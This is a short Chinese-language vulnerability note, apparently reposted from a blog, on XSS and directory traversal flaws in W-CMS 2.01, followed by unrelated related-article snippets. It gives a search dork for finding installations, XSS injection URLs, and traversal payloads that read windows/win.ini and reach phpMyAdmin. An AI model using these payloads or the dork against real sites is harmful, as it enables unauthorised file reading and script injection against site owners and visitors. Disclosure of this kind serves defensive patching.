W-Cms XSS和遍历目录漏洞

官方网站：http://w-cms.info/
下载地址：http://code.google.com/p/wcms/

关键字： intext:"Powered by w-CMS"
版本：[2.01]

XSS漏洞

http://hellxman.blog.51cto.com/index.php?bid=1&COMMENT=1 "XSS"
http://hellxman.blog.51cto.com/?p=3"XSS"
http://hellxman.blog.51cto.com/?bid=5&p=1"XSS"

http://hellxman.blog.51cto.com/?p=3<FORM action="Default.asp?PageId=-1" method=POST id=searchFORMname=searchFORM style="margin:0;padding:0"><INPUT type="hidden" value="" name="txtSEARCH"></FORM>

目录遍历漏洞：

http://hellxman.blog.51cto.com/wcms-2.01_2/?p=../../../../../../../../../../windows/win.ini
http://hellxman.blog.51cto.com/wcms-2.01_2/?p=../../../../../phpMyAdmin/db_create.php

转载于:https://blog.51cto.com/hellxman/762626

W-Cms XSS和遍历目录漏洞相关推荐

linux遍历目录漏洞,ubuntu linux 目录遍历漏洞(CVE-2019-14452)
漏洞描述目录遍历在0.9.16之前的Sigil容易受到目录遍历的攻击,允许攻击者通过在提取期间处理不当的ZIP存档条目中的../(点点斜杠)写入任意文件.d S k O 基本信息 CVE编号: C ...
linux遍历目录漏洞,Mutiny 多个目录遍历漏洞（CVE-2013-0136）
发布日期:2013-05-15 更新日期:2013-06-02 受影响系统: Mutiny Mutiny 5 描述: ----------------------------------------- ...
python如何搜索关键字_Python遍历目录和搜索文件中的关键字
2012-11-03 wcdj 遗留问题:如何处理中文 #-*- coding: gbk -*- ############ # 20121003 wcdj # FindFilev0.1 # 遍历目录和 ...
删除文件部分内容 php,php实现遍历目录并删除指定文件中指定内容_php技巧
现在正坐在安静的寝室里,寒假俨然已经离我而去了--今天发的是我寒假里搞的最后一次学习,之后的时间就一直在看海贼王了. 以前写过一个C语言的遍历目录+复制文件的程序,很长很复杂,现在用PHP一样可以实现 ...
【优秀课设】基于OpenCV的Python人脸识别、检测、框选（遍历目录下所有照片依次识别视频随时标注）
基于OpenCV的Python人脸识别.检测.框选 (遍历目录下所有照片依次识别视频随时标注) 移步: https://blog.csdn.net/weixin_53403301/article/d ...
php获取文件夹下所有文件名（php遍历目录）
当我对接小发猫API的时候,需要php获取文件夹下所有文件名,我们有时候需要读取目录里面的内容,在 PHP 有多个函数可以获取文件系统目录信息,今天就给大家分享 PHP 遍历目录的三种方法. php获 ...
【优秀课设】基于OpenCV-Python的树莓派人脸识别及89C52单片机控制系统设计（指定照片进行识别、遍历目录下所有照片依次识别）
基于OpenCV-Python的树莓派人脸识别及89C52单片机控制系统设计 (指定照片进行识别) 参照之前的文章所改进增加视频随时标注功能 https://blog.csdn.net/weixin ...
linux c 遍历目录及目录下文件
目录递归实现非递归实现我们知道,许多操作系统中的目录结构都是使用树结构. 使用递归的方法定义树是比较容易的.一棵树地一些节点的集合. 这个集合可以为空,若非空,则树由树根和0个或者多个非空的子树 ...
window和linux下遍历目录的比较
window下,遍历目录主要是用FindFirstFile和FindNextFile,而linux下是用opendir和readdir实现 void scanFile(char *szDir) {WI ...

W-Cms XSS和遍历目录漏洞

W-Cms XSS和遍历目录漏洞相关推荐

最新文章

热门文章